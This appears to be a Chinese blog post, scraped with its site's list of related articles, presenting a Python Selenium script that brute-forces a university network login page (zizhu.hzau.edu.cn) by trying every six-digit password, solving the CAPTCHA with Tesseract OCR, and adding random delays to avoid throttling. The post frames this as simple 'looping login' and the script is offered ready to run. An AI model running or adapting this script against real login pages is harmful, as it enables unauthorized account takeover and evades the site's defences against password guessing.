python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
pycharm 使用心得(七)一些实用功能介绍
Jun 06 Python
Python实现的最近最少使用算法
Jul 10 Python
python解决Fedora解压zip时中文乱码的方法
Sep 18 Python
Python数据分析之真实IP请求Pandas详解
Nov 18 Python
Python:Scrapy框架中Item Pipeline组件使用详解
Dec 27 Python
Python实现将数据框数据写入mongodb及mysql数据库的方法
Apr 02 Python
python版本单链表实现代码
Sep 28 Python
django小技巧之html模板中调用对象属性或对象的方法
Nov 30 Python
利用selenium爬虫抓取数据的基础教程
Jun 10 Python
详解pandas删除缺失数据(pd.dropna()方法)
Jun 25 Python
Python可变参数会自动填充前面的默认同名参数实例
Nov 18 Python
python 制作磁力搜索工具
Mar 04 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
php记录日志的实现代码
2011/08/08 PHP
PHP遍历数组的几种方法
2012/03/22 PHP
PHP6 中可能会出现的新特性预览
2014/04/04 PHP
PHP实现QQ登录实例代码
2016/01/14 PHP
PHP实现批量清空删除指定文件夹所有内容的方法
2017/05/30 PHP
Laravel5.* 打印出执行的sql语句的方法
2017/07/24 PHP
MacOS下PHP7.1升级到PHP7.4.15的方法
2021/02/22 PHP
JS简单的轮播的图片滚动实例
2013/06/17 Javascript
解析JavaScript中的标签语句
2013/06/19 Javascript
jquery $(this).attr $(this).val方法使用介绍
2013/10/08 Javascript
javascript实现rgb颜色转换成16进制格式
2015/07/10 Javascript
14款经典网页图片和文字特效的jQuery插件-前端开发必备
2015/08/25 Javascript
图解JavaScript中的this关键字
2020/05/28 Javascript
JavaScript 基础函数_深入剖析变量和作用域
2016/05/18 Javascript
jquery中取消和绑定hover事件的实现代码
2016/06/02 Javascript
jQuery实现简易的输入框字数计数功能示例
2017/01/16 Javascript
如何选择jQuery版本 1.x? 2.x? 3.x?
2017/04/01 jQuery
基于vue配置axios的方法步骤
2017/11/09 Javascript
vue将文件/图片批量打包下载zip的教程
2020/10/21 Javascript
[06:43]2018DOTA2国际邀请赛寻真——VGJ.Thunder
2018/08/11 DOTA
爬山算法简介和Python实现实例
2014/04/26 Python
Python高级应用实例对比:高效计算大文件中的最长行的长度
2014/06/08 Python
Python实现聊天机器人的示例代码
2018/07/09 Python
python实现数据清洗(缺失值与异常值处理)
2019/12/02 Python
TensorFlow命名空间和TensorBoard图节点实例
2020/01/23 Python
python3.6中anaconda安装sklearn踩坑实录
2020/07/28 Python
canvas之万花筒效果的简单实现(推荐)
2016/08/16 HTML / CSS
用CSS3实现无限循环的无缝滚动的实例代码
2017/07/04 HTML / CSS
受希腊女神灵感的晚礼服、鸡尾酒礼服和婚纱:THEIA
2018/04/15 全球购物
面试后感谢信
2014/02/01 职场文书
幼儿园儿童节活动主持词+串词大全
2014/03/21 职场文书
中学生旷课检讨书2篇
2014/10/09 职场文书
店铺转让协议书
2015/01/29 职场文书
导游词之湖北武当山
2019/09/23 职场文书
python实现简单区块链结构
2021/04/25 Python
Apache Hudi集成Spark SQL操作hide表
2022/03/31 Servers